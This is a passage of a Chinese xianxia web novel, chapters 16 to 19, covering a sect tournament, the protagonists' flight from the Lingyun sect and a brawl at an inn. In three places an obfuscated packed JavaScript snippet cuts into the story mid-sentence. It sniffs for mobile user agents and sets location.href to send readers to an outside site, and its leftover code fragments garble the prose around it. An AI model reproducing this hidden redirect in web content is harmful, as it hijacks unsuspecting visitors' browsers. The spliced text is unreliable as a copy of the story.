眼看着虞令仪来势汹汹,宁音双眼微沉,光华破空绽放耀眼光芒,瞬间幻化出三道剑影,直冲虞令仪而去。 虞令仪微愣,未曾想过有三道如此磅礴的剑气直面而来,片刻的慌神后,前挡右躲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16035486|177679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但光华剑气加上宴寒舟教给她的这套剑法又岂是那么好对付的。 “铮!” 虞令仪一个不慎,一声清越剑鸣响彻全场。 一柄寒光凛冽的长剑脱手飞出,剑身急速旋转,在空中划出一道弧度,深深没入擂台下青石地面之中,剑柄震颤不止。 待众人定睛看去,只见宁音的剑锋距离虞令仪咽喉仅有一寸之隔。 宁音持剑的手臂被鲜血浸染,她盯着虞令仪,突然说道:“我终于知道光华剑为何不认你为主了。” 虞令仪脸色苍白,“你……你什么意思。” 宁音却不加解释,缓缓收剑,罔顾擂台下弟子各色的眼光,走下擂台,来至另一擂台前。 “暮云峰弟子宁音,胜!” 围绕在擂台下位虞令仪助威的弟子皆静默不语,看着深入地面的寒霜剑,谢无虞将其拔出,交给脸色苍白泪眼婆娑的虞令仪。 “师兄,我输了,我竟然输给了宁音。” 谢无虞看向一侧的宁音,目光落在地面滴落的鲜血上,向来和颜悦色的师兄头一次对虞令仪冷了脸,“师妹,刚才擂台上你下手是否太重了,刚才若是你赢了,宁音会被你重伤的。” “我……” 有弟子打着圆场,“师兄,别怪师妹了,擂台上什么事都有可能发生,师妹第一次参加比试,想赢也是应该的。” 看着虞令仪苍白的脸色,谢无虞终究还是不再多言。 与此同时,宴寒舟与桑婉正打得难舍难分。 相比于宁音对战虞令仪,宴寒舟与桑婉的对决吸引了更多的弟子。 谁人不知谁人不晓,宴寒舟不过是一介废灵根,相比于如今已是筑基后期的桑婉,即使是在擂台上压制了修为,宴寒舟也全然不是桑婉的对手。 众人都期待着桑婉怎么一招将宴寒舟打下擂台。 但当宴寒舟站在擂台上的那一刻,赤手空拳与桑婉打得有来有回之际,台下弟子这才惊掉了下巴。 不是说宴寒舟只是一个无法修炼的废灵根吗? 怎么能在桑婉手下走上这么多招? 不止是擂台下的弟子,擂台上的桑婉心底亦是惊骇不已,数招后早已安奈不住,体内灵气灌入手中长剑,眼中闪过一丝决绝。 若这一招无法将其打下擂台,此战后,她便会成为整个凌云宗的笑柄! 面对破空而来的森然剑气,宴寒舟眸色骤冷,眼底寒芒乍现,体内灵气翻涌间,手中聚气成刃,身形不退反进,迎着那恐怖的剑锋直冲而上。 “铮——” 炽白剑锋与凝聚灵气而成的剑气狠狠撞在一处,刹那间,天地为之一静,旋即爆发出震彻云霄的争鸣,刺目的光芒让擂台下众人下意识闭上了眼。 桑婉瞳孔微缩,没料到宴寒舟竟敢硬接她这一击。 但更令人始料未及的,宴寒舟竟然能调动灵气! “宴寒舟不是废灵根吗?他怎么能调动灵气聚气成刃?” “这不可能!除了有灵根者,没人能调动灵气为自己所用,难道宴寒舟不是废灵根?” “不可能!当初宴寒舟的废灵根是掌门亲自验证过的,不可能有错!” “难道宴寒舟的废灵根治好了?” “这更不可能了!千百年来有哪个废灵根是治愈了的?” “你……你不是废灵根?”桑婉咬牙问道。 “剑是武器,不是杂耍的工具,你潜心修炼这么多年,只为了今日在擂台上与宁音一较高下,我从昨日你看她的眼中看到了杀机,若今日你与她在擂台对战,但凡有一丝机会你都会杀了她,对吗?但很可惜,你失去了你这一生唯一的一次机会。” 听着宴寒舟轻蔑的话语,桑婉的双眼已是通红。 “不好!桑师妹心魔缠身,她要入魔了!” 就是现在! 剑气消散,宴寒舟体内灵气涌动,凝聚于掌心,电光火石间,这一掌已似缓实急地按在桑婉丹田,掌劲透体而入时,连周遭空气都为之一滞。 桑婉如断线的纸鸢倒飞而出,重重跌落在地。 “你不是想过普通的夫妻生活吗?我成全你,如今你灵根已废,可以下山了。” 17.第 17 章 第十七章 事发突然,不仅擂台下观战的弟子不曾反应过来,就连一侧维持此次宗门小比秩序的戒律堂弟子也未曾预料。 直到桑婉被宴寒舟一掌废去灵根,重重跌倒在地。 谢无虞率先冲上擂台,俯身扣住桑婉命门,神识扫过丹田时瞳孔骤缩,丹田灵气涣散,灵根尽毁。 谢无虞猛然抬头,眼中寒芒如剑,直刺宴寒舟。 “宴寒舟!”他声音阴沉,字字如冰,“宗门小比,点到即止,你竟敢废她灵根?!” 此言一出,满场寂静。 下一瞬,哗然四起! “什么?!桑师姐的灵根……被废了?!” “宴寒舟?他不是废灵根吗?怎么可能胜得过桑师姐?!” “好狠的手段!同门切磋,竟下此毒手!” 周遭非议如潮水,无数道震惊、愤怒、以及忌惮的目光,尽数落在擂台中央宴寒舟身上。 站在擂台下的宁音此刻也惊得瞪大了双眼。 她现在终于明白昨日宴寒舟对自己所说的“成全桑婉”是什么意思了。 虽然桑婉和自己有大仇,虽然你废她灵根是为了自己……但大庭广众之下,行事未免也太嚣张了吧? 眼看周遭群情激奋,宁音咬牙挤出人群,站在擂台前高声怒斥道:“说什么你们?什么借机报复?你们搞清楚,刚才擂台上桑婉都快入魔了,危急关头宴寒舟无奈自保罢了,他何错之有?!” 她还能怎么办?还能怎么说? 当然是睁一只眼闭一只眼,睁着眼睛说瞎话了。 “桑师妹即使入魔,还有师兄掌门以及各位长老在,宴寒舟他凭什么借此废桑师妹灵根断她道途?!你们二人心肠如此歹毒,果真是一丘之貉!” “宴寒舟他这是残害同门!按门规当从重处罚!” “昨日演武场你们便与桑师妹有过口角,定是你们怀恨在心,如此恶毒,实在不配为凌云宗弟子!” 然而面对在场群情激奋的众人,宴寒舟毫无波澜,漠然走下擂台,“嗤啦”一声撕下衣袍一角,将宁音渗血的手臂包扎。 如看跳梁小丑般目光一一掠过众人,语气讥讽道:“凌云宗门规,入魔之人,当废灵根,我何错之有?” “即使入魔,自有掌门处置,你一个外门弟子,也配越俎代庖执行门规?” “擂台之上不过自保罢了,你若不服,也可上擂台和我打一场。” “你——” “大师兄来了!”不知是谁喊了一句,汹涌的人群自动隔开一条道来,簇拥着司鹤羽朝擂台走来。 司鹤羽走上擂台,并指按在桑婉眉心,灵力游走间脸色越来越沉,吩咐弟子将已陷入昏迷的桑婉送去疗伤,看向擂台下的宴寒舟,沉声道:“桑师妹体内确实有残留魔气,但同门切磋,点到即止,这并非是你擅自废她灵根的理由!” 宴寒舟望向司鹤羽,“你若有胆量,与我打一场?” “有何不敢!” 宁音悄悄扯了扯宴寒舟衣袖。 宴寒舟问她:“你要拦我?” 宁音捂着伤口目露凶光,“搁以前我一定拦你,但今天我支持你,干他!” “好,干他。” “干死他!” 欺人太甚!动不动就是同门切磋点到即止,满口仁义道德。 刚才擂台上虞令仪险些一剑把自己串成烤串的时候怎么没人说点到即止呢?桑婉对一个外门弟子动手,招招狠厉致命怎么没人提? 遇到我们就当睁眼瞎,反派的命不是命是吧? 宁音叛逆心起,冲宴寒舟紧握双拳,“加油!” 宴寒舟一跃上擂台。 擂台之上,罡风骤起,两道身影遥遥相对,皆看到了对方眼底的凝重。 在上一次试探交手中宴寒舟便看出了司鹤羽天赋异禀,不愧是宁音口中的男主,在天赋与气运的加持之下,他相信假以时日,司鹤羽必定能达到自己上辈子的成就。 如此一来,此人更不能留了。 双双静默无声。 司鹤羽手腕一翻,苍梧剑发出清脆剑鸣,化作一道白虹朝宴寒舟刺去。 面对司鹤羽的率先进攻,宴寒舟不慌不忙侧身躲过,并指成剑,体内灵气顺着经脉涌向指尖,一道三尺冰刃骤然凝成,抬剑横挡。 “铛——” 利剑交鸣之声震得围观弟子耳膜生疼,剑刃与苍梧剑相撞的刹那,灵力激荡,擂台地面自二人四周竟龟裂出无数细密纹路。 司鹤羽虎口发麻,眼中惊骇之色一闪而过。 短暂交手,司鹤羽便知道宴寒舟绝非表面看上去的这般简单。 宴寒舟与桑婉一战时,他在旁看得一清二楚,废桑婉灵根那一掌更是神乎其神,眼前之人绝非什么废灵根庸才,那柄随手以气凝结的冰刃,其威势竟不逊于他的本命剑。 苍梧剑感应到主人心境,剑身嗡嗡震颤。 司鹤羽握紧手中苍梧,剑招陡然凌厉了十倍,每一剑都带着刺骨寒意,剑光交织成天罗地网,然而宴寒舟依旧从容不迫,剑刃在他手中得心应手,忽长忽短,时而化剑,时而为鞭,将漫天剑影尽数化解。 擂台下鸦雀无声。 众弟子瞪大双眼,难以置信地看着台上景象。 他们引以为傲的大师兄非但没能一剑制敌,反而在数招之下,宴寒舟竟与司鹤羽打得有来有回,且丝毫未曾落入下风。 宴寒舟自是游刃有余。 千年前凌霄仙君毕生的剑道感悟已深深烙入他残缺的灵识核心,面对司鹤羽的苍梧剑,犹如老叟戏顽童般。 “你的剑,太慢了。” 宴寒舟的声音突然在司鹤羽耳畔响起,未等司鹤羽反应,那柄剑刃已穿透重重剑影,带着摧枯拉朽之势当头劈下。 司鹤羽举剑相迎,却被震得连连后退,虎口迸裂,苍梧剑险些脱手。 就在这电光火石间,宴寒舟旋身再起一脚,正中司鹤羽胸口! “砰!” 这一脚裹挟着澎湃灵力,司鹤羽整个人倒飞而出。 他将苍梧剑插入擂台边缘,试图稳住身形,却见宴寒舟迎面剑刃呼啸而至,逼得他不得不撤剑后跃,落到了擂台之外。 司鹤羽单膝跪在擂台之外,看着那个居高临下的身影,喉间涌上腥甜,声音嘶哑得不成样子,“你……” 宴寒舟转身离去的背影没有丝毫停顿,只有一句轻飘飘的话随风传来:“承让。” 寂静。 死一般的寂静笼罩全场。 在场弟子倒吸了口凉气,望向宴寒舟的眼中是无尽的震惊与忌惮。 司鹤羽竟然败了。 不仅败了,还被宴寒舟踹出了擂台。 “怎……怎么可能?大师兄竟然败了?” “宴寒舟一个外门弟子,怎么可能打败大师兄!” “上了擂台会被压制修为,若非如此,大师兄又怎会败?!” “可是,所有上擂台的弟子都会被压制修为……” “耶!赢了!”宁音兴奋上前喝令戒律堂弟子立刻宣布这场比试的战绩。 戒律堂弟子看了眼擂台外的司鹤羽,宣布道:“宴寒舟胜。” 宁音嚣张道:“声音大点,谁和谁比试,谁赢了说清楚点!” 戒律堂弟子又看了眼脸色苍白难看的司鹤羽,清了清嗓高声道:“凌云峰司鹤羽与外门弟子宴寒舟比试,宴寒舟胜!” “这还差不多嘛。”宁音顿觉心中郁结之气尽数排出,什么反派,什么主角,从今天开始,小说从她这单开一本! 看着强行站立的司鹤羽,宁音很想上前嘲讽两句,但一想到司鹤羽男主身份,又消停了些。 算了,做事留一线,日后好相见,放他一马。 高台之上掌门亲临。 众人皆拱手行礼,“见过掌门。” 掌门扫过众人,最后将目光落在宴寒舟身上。 “外门弟子宴寒舟,残害同门周夷,罪无可恕,凌云宗弟子听令,即刻将其拿下!” 此言一出,不仅宁音懵了,就连在场弟子也懵了。 宴寒舟残害同门?不是应该问罪他废桑婉灵根的罪名吗? 宁音沉声问道:“敢问掌门,证据从何而来?” “有弟子亲眼所见宴寒舟行凶,剑意与宴寒舟擂台上如出一辙,证据确凿,拿下!” 周围弟子面面相觑,最终眼神坚定,拱手道:“遵命!” “好一个证据确凿,凌云宗的做派,还真是千年不变。”宴寒舟冷笑一声,不再与其虚与委蛇,“既如此,从今日起,我与凌云宗再无瓜葛!” 话音刚落,四周弟子已持剑杀来,剑光如雨,凌厉逼人。 宴寒舟眸色一沉,丝毫不惧,周身压制已久的修为骤然爆发,磅礴灵力如滔天巨浪般,瞬间将数名弟子震飞出去,重重砸落在地。 高台之上,大乘期的威压如天河朝宴寒舟倾泻而下,还未近身,便已有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16045970|177679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟子被余波震得口吐鲜血,踉跄后退。 宴寒舟虽已至金丹,但在此等威势之下,仍如蝼蚁撼树。 他猛地单膝跪地,青石地面在他膝下裂出蛛网般的纹路,无形威压碾过每一寸骨骼,直击灵识,剧痛如万针穿刺,鲜血从嘴角溢出,宴寒舟却低笑出声,“以大乘欺筑基,掌门好威风。” 每个字都说得极为缓慢,却字字如刀。 一侧的宁音见着如此情形焦灼不已,她不明白好好的宗门小比怎么变成这样,小说中友善慈祥的掌门怎么会如此不讲情面。 可眼看宴寒舟不敌,若是被擒,照目前形势而言,只怕凶多吉少。 宁音捏紧了光华剑剑柄,仿佛有所感悟,光华剑剑身亮起刺目光芒,她下定了决心,提剑而上。 一道雪亮剑光突然横贯长空。 威压之下,宁音瘦弱的身影摇摇欲坠,持剑的手颤抖得几乎握不住剑柄,筑基期的修为在威压中脆弱如夜间萤火,却还固执地挡在宴寒舟身前。 宴寒舟喉间涌上腥甜,低声呵斥道:“你来干什么?!” 宁音咬牙坚持:“反派help反派,不然你怎么打得赢他?” 宁音不过筑基修为,大乘之下如同蝼蚁,如何能抵挡得住掌门威压,不到片刻,宁音手中光华脱手飞出,鲜血从嘴里喷出。 宴寒舟体内翻涌的神魂之力翻涌而起,两股仿若毁天灭地的力量轰然相撞,爆发的恐怖威压将擂台四周的结界如琉璃般寸寸崩裂,观战的弟子们纷纷被掀飞而出。 宁音如断线风筝般倒飞出去,宴寒舟借着这瞬息将她稳稳接入怀中。 宁音只觉五脏肺腑剧痛无比,浑身经脉犹如寸寸断裂,疼得她大脑一片空白,半晌说不出一句话来。 “……好痛!你……你赶紧跑吧,打不赢……别死这了……” 宴寒舟眼底血色更浓,缓缓抬头,望向高台上面色阴沉的掌门,周身开始涌动起令人心悸的灵力波动。 掌门低声沉吟二字:“凌霄!” “除魔剑阵!”掌门怒喝之声在上空炸响,声浪裹挟着大乘期的威压,震得演武场上的青石地砖嗡嗡颤动。 除魔剑阵应声启动,地面突然亮起繁复的灵纹,这些灵纹在半空中交织变幻,转瞬间化作千万柄金色剑影,将宴寒舟周身三丈空间尽数封锁。 宴寒舟立于剑阵中央,单薄的衣衫被剑气激荡得猎猎作响。 他缓缓抬眸,眼底似有寒潭深不见底。 宴寒舟突然笑了。 那笑声很轻,却让无数除魔剑阵中的剑影震颤不已。 “剑,我最擅长了。” 宴寒舟指尖轻抬,一缕金光自他指尖冒出,瞬息间化作滔天剑意,整座演武场的空气突然凝滞,连时间都仿佛在这一刻静止。 “破。” 轻描淡写的一个字,却让天地为之变色。 千万柄金色剑影突然剧烈震颤,发出刺耳的悲鸣,一个接一个崩碎,化作点点金芒消散在空气中。 倒在一边不断吐血的宁音艰难从地上爬起,却又再度倒下,“咳咳……都什么时候了,别耍帅了,赶紧走吧!” 宴寒舟看她一眼,口中默念口诀,指尖金光大盛,无数柄剑影赫然显现在半空,将那些围攻的修士逼得连连后退。 宴寒舟一手捞起宁音,“走!” “宁音!” 宁音背影一顿。 “宁音,宴寒舟残害同门一事与你无关,过来!别犯糊涂!” 宁音回头循声望去,只见不远处师云昭赫然出现在弟子之首抵抗着漫天剑雨,焦灼朝她大喊。 的确,宴寒舟残害同门一事不管是真是假,都与她无关,更何况,“宁音”还有玉微仙君庇护,此事怪不到她头上。 但—— 宁音望向一侧满身是血的宴寒舟。 宴寒舟眉眼微沉,“你若想留在凌云宗……” “走!”她斩钉截铁打断,紧紧攥住他的衣襟。 隐在暗处的琉璃羽雀徒然现身,载着二人破空而去。 “凌云宗,”宴寒舟的声音裹挟着剑鸣响彻九霄,"今日之事,他日必百倍奉还!" 高台之上,掌门面色阴沉如水,望着宴寒舟与宁音消失的方向,正欲追去,一道身影拦在他面前。 “玉微!你要拦我?你可知他是谁!” 玉微仙君广袖轻拂,声音冷冽如霜,“我不想知道他是谁,但受人所托,今日谁也别想伤宁音分毫。” 18.第 18 章 第十八章 眼看琉璃羽雀的身影消失在视线中,掌门冷哼一声拂袖而去。 凌云宗大殿,十二峰长老齐聚,演武场发生之事早已传遍整个凌云宗,虽说是以同门相残的罪名下令诛杀宴寒舟,但其内情,在场长老一清二楚。 “掌门是如何确定宴寒舟是凌霄转世?” “当年凌霄渡劫失败,早已在天劫下身死道消,怎么可能还存活于世?” 掌门沉声道:“师云昭苏醒后,已将禁地之事尽数禀明本座,她于秘境禁地中通过凌霄三重考验,可秘境神魂之力并未为其所得,反而尽归宴寒舟所有,至于那枚沧溟戒,则落入宁音之手,加之今日宗门小比,宴寒舟废桑婉灵根那一掌,更是有当年凌霄的手笔。” “如此看来,确实蹊跷重重。” “宁可错杀,不可错放!”掌门掷地有声:“当年凌霄是如何一日内杀遍三门九派诸位或许略有耳闻,不管他是否为凌霄转世,单是他身负凌霄毕生传承,却不能为本门所用,身怀异心,此等祸患,断不能留!” 想起千年前血腥一幕,在场众长老皆默契点头。 “照我说,此事掌门做得对,不管宴寒舟是不是凌霄转世,身负凌霄传承,此子就断不可留!未免夜长梦多,养虎为患,咱们就应趁其羽翼未丰之际,斩草除根,永绝后患!否则,七大宗门又将被他毁于一旦!” “掌门,恕我直言,千年前之事凌霄曾言前尘往事就此两清,如今咱们这般赶尽杀绝,怕是不妥。” “有何不妥?天璇长老怕是忘了当年凌霄是如何一日内杀遍三门九派,以一己之力险些颠覆整个九霄大陆的,更何况今日宴寒舟逃离凌云宗时曾放言今日之事,来日百倍奉还,他已然将咱们凌云宗视为仇敌,即使咱们想退,如今也退无可退了。” 天璇长老沉默不语。 “若宴寒舟真是凌霄转世,此事须告知其他六大宗门,早做打算才是。” “此事不急。”掌门淡然开口,望向一侧玉微仙君,“玉微,你今日阻我诛杀宴寒舟,此事我不与你计较,但日后,还望你能袖手旁观。” 有长老问道:“听闻宁音那丫头跟着宴寒舟跑了?” 玉微仙君瞥了那长老一眼,沉声道:“宁音不过是被其所惑,何罪之有?还是那句话,宴寒舟如何我不管,谁也别想动宁音一根汗毛!” — 离开凌云宗后,琉璃羽雀便一直载着宴寒舟与宁音往南飞,直到飞离凌云宗势力范围,望着重峦叠嶂的山峰渐渐消失在视线中,宁音原本一颗激荡的心逐渐低落,对未来的茫然和恐惧,顿时涌上心头。 她想起小说中“宁音”与“宴寒舟”双双叛逃出凌云宗,坠入魔道,从此彻底与主角们开启了不死不休模式,可叛逃的剧情距离现在至少还有十万字,怎么她才穿越不到一个月,就解锁了对自己而言的致命剧情? 她不明白到底是为什么,为什么小说里那般稳重可靠的凌云峰掌门,在宗门小比那日变得那般不近人情。 但从穿越到这个修仙世界后,她不止一次告诉自己,恶毒女配最好的归宿便是便是抱紧主角大腿,获得主角认可,成为主角团成员,现如今,她主动放弃了加入主角团的机会,这意味着什么? 意味着创业初期的马先生邀请她加入阿里巴巴,刚准备给聊天软件取名OICQ的马化腾先生让计算机专业的她去公司敲核心代码,而她为了一无所有的宴寒舟拒绝了! ……哦,也不算一无所有。 宴寒舟身强体壮还能硬刚大乘期强者,反观自己,重伤不愈,要死不活,吊着半口气。 她实在没忍住,气若游丝开口:“大佬,你那么强,能硬刚大乘期强者你早说啊,我一个炮灰还傻乎乎的上去替你挡刀,现在……咳咳咳……你看我这个样子,成为你的累赘何必呢?” 宴寒舟扣住她命门,精纯灵力如潮水般涌入她体内,“若不是今日你出手,我也不会寻得一线生机逃出掌门威压,这份大恩我铭记在心,永不相忘!” 灵力入体,宁音只觉一股暖流涤荡四肢百骸,惨白如纸的脸上,终于透出一丝微弱的生气。 “真的?” 宴寒舟一本正经神情坦荡,看不出丝毫张嘴就来的痕迹,“自然是真的。” “那我们现在去哪?”她发誓,但凡宴寒舟敢说一句不知道,她立刻马上就从琉璃羽雀的背上跳下去当场死这! “两个选择,第一,你伤好之后,我送你回郕国。” 宁音微愣,回郕国当一个快乐的公主,过好这膏粱锦绣、野鹤闲云的一生,是她向往的生活,最优的选择。 若是从前,她一定毫不犹豫。 但此刻,她却犹豫了。 她说不清道不明自己为何会犹豫,只知道当有两个选择摆在你面前,若你犹豫第一个,那最好是毫不犹豫去选择第二个。 “还有一个选择呢?” 宴寒舟目光坚定,“九嶷山。” “九嶷山?”宁音对九嶷山略有耳闻,小说中九嶷山的存在是给主角捡宝物的新地图之一。 据说千年前的凌霄仙尊飞升前曾将身上法宝洒落九霄各地,以待后世有缘人取之,而这九嶷山便是其中之一。 宁音隐约记得主角在九嶷山寻了不少宝物,每一件都是修真界极为罕见的稀世珍宝。 毕竟是千年前凌霄仙尊亲自锻炼的,其价值可想而知。 宁音目光坚定,“好,我们现在就去九嶷山寻宝!” 宴寒舟似是早有预料宁音的选择,淡然道:“寻宝一事不急,你有伤在身,不宜进山,九嶷山附近有个栖霞镇,我们去那里,这几日先养好伤再说。” 宴寒舟斩钉截铁早有筹谋的回答让宁音茫然的心安定下来。 约莫是傍晚时分,两人便到了距离九嶷山最近的小镇,栖霞镇。 九嶷山地势险峻,灵气充沛,周遭妖魔众多险象环生,但自从有人在九嶷山寻得一件宝物后,此处藏有凌霄仙尊宝物的消息便在整个修真界传播开来,引得不少散修来此寻宝。 当然,七大宗门的弟子也常有打着历练的借口进山的。 想要进山唯有一条安全路,而栖霞镇便是这条路上唯一可供歇脚的小镇。 此刻,栖霞镇那并不宽阔的镇门前,等候入内的队伍早已蜿蜒排起了长队,一眼望不到头,而镇口高悬的告示牌上,赫然写着几个大字:入镇者,每人需缴纳一块中品灵石。 “中品灵石?之前不是一块下品灵石就行了吗?怎么现在必须一块中品灵石了?你们这是坐地起价!” “哪那么多废话?你知不知道,就上个月,有个散修在九嶷山寻了一件地阶法宝,如此大的机缘,只收你一块中品灵石你还嫌贵?” 队伍一侧有几个穿着紫色服饰的弟子不排队,不交灵石便径直进入小镇。 第一次来九嶷山寻宝的修士指着那几人背影,“他们怎么不交灵石就进去了?” “你能和他们比吗?他们可是天衍宗的弟子,若你在九嶷山遭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16059050|177679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇妖魔,兴许他们还能顺手救你一命,诶,你到底进不进?不进滚一边去,别挡着后面的人。” 那人悻悻交了块中品灵石。 很快便排到了宁音和宴寒舟。 宴寒舟痛快交了两块中品灵石。 那人多瞟了眼宁音,“伤成这样还来寻宝?小心些,别在九嶷山丢了性命,行了,进去吧。” 刚踏入这个传说中的小镇,宁音便感觉到气氛极其不对劲,大街上叫卖的不是衣食住行,而是各类法宝武器,来往行人大多结伴而行,穿着打扮皆是修行者装束。 在宁音与宴寒舟打量来往之人时,来往的修士同样也在打量着他二人,见宁音有伤在身病殃殃的模样,宴寒舟筑基修为,皆不放在眼中。 兴许是近日有人在九嶷山找到地阶法宝之事传扬了出去,前来九嶷山寻宝的修士大大增多,栖霞镇内大大小小的客栈几乎都住满了人。 得知缘由,宴寒舟眉心紧蹙,“一个地阶法宝便让人趋之若鹜。” “天地玄黄,天阶法宝大多被七大宗门以及各大修仙世家所有,地阶排名第二,对于那些散修而言已经很不错了,”在宴寒舟无时无刻灵气的滋养下,虽然暂时压制了体内的伤势,但到底是累了,眼看天色渐晚,宁音望着眼前的来福客栈,两人最后的希望,“这里还有家客栈,我们进去问问,再没有房间,我们只怕得露宿街头了。” 刚走进客栈,小二便殷勤迎了上来,“二位是住店还是吃饭?” “住店。” “好勒,这边请。”小二将二人引至柜台,柜台后的掌柜问道:“我们客栈有上房,普通房,以及下房,各自对应上中下三类灵石,一块灵石一晚,不知几位要住什么样的房间?” “一间上房。” “客官,您运气真好,咱们小店刚好还剩一间上房。” 宴寒舟刚将上品灵石掏出,只见一袋上品灵石扔到了掌门面前,语气傲慢,“上房我要了。” 宁音回头望去,只见一个穿着华服的男子摇着羽扇,身后跟着两名气概不凡的侍卫,态度极其倨傲嚣张。 这种人一看就是小说里的纨绔炮灰,台词不超过三句的那种。 掌门满脸的笑意,从善如流地收起一袋上品灵石,吩咐小二,“小二,快将这位贵客带去上房。” 宴寒舟沉声道:“掌柜,我们先来的。” 掌柜笑着打圆场,“二位莫急,咱们客栈还有一间普通客房,比那上房差不了多少,我亲自带您过去。” 说罢,又压低了声音说道:“这位是天机城段家的,不仅你们惹不起,我也惹不起,这样,二位在小店住下的这段时日就按下等房的房费来收,如何?” 身着华服的公子哥摇着扇嗤笑道:“一个筑基修为,一个受伤的残废,这年头真是什么人都来九嶷山寻宝。” 刚离开宗门,就遭到了社会的毒打。 “宴寒舟,”宁音低咳两声,虚弱得很,实在无力再起争执,只想早日回房休息疗伤,扯了扯宴寒舟的衣袖,“你才硬刚大乘期强者……” 似乎预感到宁音要说什么,宴寒舟眉心微皱。 “能打得过这个草包和他两个侍卫吗?” 忍一时越想越气,退一步越想越亏。 我都反派了我还要忍? 宴寒舟都能硬刚大乘期强者了他还要忍? 宴寒舟意外挑眉,回头看了眼草包和草包的侍卫,“可以。” “那好,我要住上房,去,干他!” 19.第 19 章 第十九章 栖霞镇因常年云霞缭绕,清晨傍晚,霞光铺满整个小镇上空而得名。 因地处九嶷山附近,妖魔横行,属于三不管地带,荒废已久,后九嶷山频现宝物而出名,引得无数修行者前来寻宝,自此,寂寥无人的小镇成了前来寻宝的修士必经之地。 无人管,散修又多,偶尔也会发生些争抢打斗之事,只是来这的都是冲着九嶷山里的宝物,进山后,山里的妖魔瘴气以及各种迷魂卦阵本就难以对付,谁也不愿在进山前树敌。 是以,冲突偶有发生,但还未闹过什么人命。 真正的生死较量都在九嶷山里。 “砰——哐当!” 客栈厚重的门板应声爆裂,两名侍卫随着客栈门板被踹飞至大街上。 宴寒舟一只脚稳稳踩在那锦衣华服的男子胸口,将其死死摁在地上。 这人素来仗着天机城段家的威名嚣张跋扈,何曾受过如此大辱?眼见四周修士越聚越多,指指点点,他只觉脸上火辣辣地疼,羞愤欲绝,猛地抬头,目眦欲裂地瞪着宴寒舟,嘶声咆哮道:“狗东西!瞎了你的狗眼!知道老子是谁吗?老子是天机城段家的!你竟敢……你竟敢对我动手?!你信不信……啊——” 宴寒舟脚上力道加重,肋骨断裂的声音在神识敏锐的修士耳中尤为明显。 “段家?哪个段家?什么阿猫阿狗也配在我面前叫嚣?” 趁宴寒舟打架的功夫,宁音坐在一旁的桌前稍作休息。 躲在一侧的掌柜亲自给她送来一壶茶水,并给她倒了满满一杯,哭丧着脸说道:“这位仙师,您就高抬贵手就饶了小店吧,那几位可是天机城段家的人,您若是在小店里把他给打伤了,我担待不起啊!” 宁音兀自喝水并不说话。 “您高抬贵手,真打伤了他,天机城段家定不会放过你们,大家都是去九嶷山寻宝的,何必在进山前与他结下大仇呢,您说是吧?” “掌柜的,我知道这世道大家都不容易,但你可要搞清楚,不是我们挑事结仇,是他不懂先来后到的道理,非要抢我的房间,没进山前就抢房间,进了山还不得抢我们的法宝?” 掌柜满头大汗,“是是是,但现在他也得到教训了,此事便罢了吧,再如此闹下来,我这客栈的生意只怕——” 见好就收。 宁音递给宴寒舟一个目光。 宴寒舟脚下暗自运劲,原本还叫嚣着要将宴寒舟大卸八块的段家公子,骤然双目圆瞪,未尽的咒骂硬生生卡在喉咙里,随即“噗”地喷出一口鲜血,两眼翻白,彻底昏死过去。 宴寒舟面无表情将腿挪开。 客栈外身受重伤的侍卫见状,慌忙连滚带爬地冲进来,架起昏迷不省人事的主人,仓皇逃离,临走前还不忘多看了宴寒舟与宁音一眼。 宁音笑眯眯转向面如土色的掌柜:“掌柜的,这下人都跑了,你总能带我们去上房了吧?你放心,若是段家人回头找你麻烦,你只管实话实说,撇到我们头上便是。” 掌柜望着段家人狼狈远去的背影,忧心忡忡地叹了口气,终究还是颤巍巍地引着两人上了楼。 门堪堪关上,宁音强撑的气势瞬间消散,身体猛地一个趔趄向前栽去,宴寒舟似是早有预料,眼疾手快伸手扶住,“没事吧?” 宁音摇头。 宴寒舟将人扶至房间榻上,运功为其疗伤。 大乘期强者的一击本非筑基所能承受的,她能活下来完全因为宴寒舟在千钧一发之际,将绝大部分毁灭性的威压生生引渡到了自己身上,可尽管如此,宁音还是被余威波及,身受重伤。 宴寒舟掌心微动,一缕磅礴的神魂之力悄然渡入宁音体内,游走在她寸寸断裂的经络,濒临破碎的丹田识海间,所过之处,断裂的经络被强行畅通愈合,受损的丹田被修复稳固,不容抗拒地作用于每一处细微的伤口。 随着伤势快速愈合,宁音强撑的那口气骤然松懈,身体一软,彻底脱力,无声无息地向后倒去。 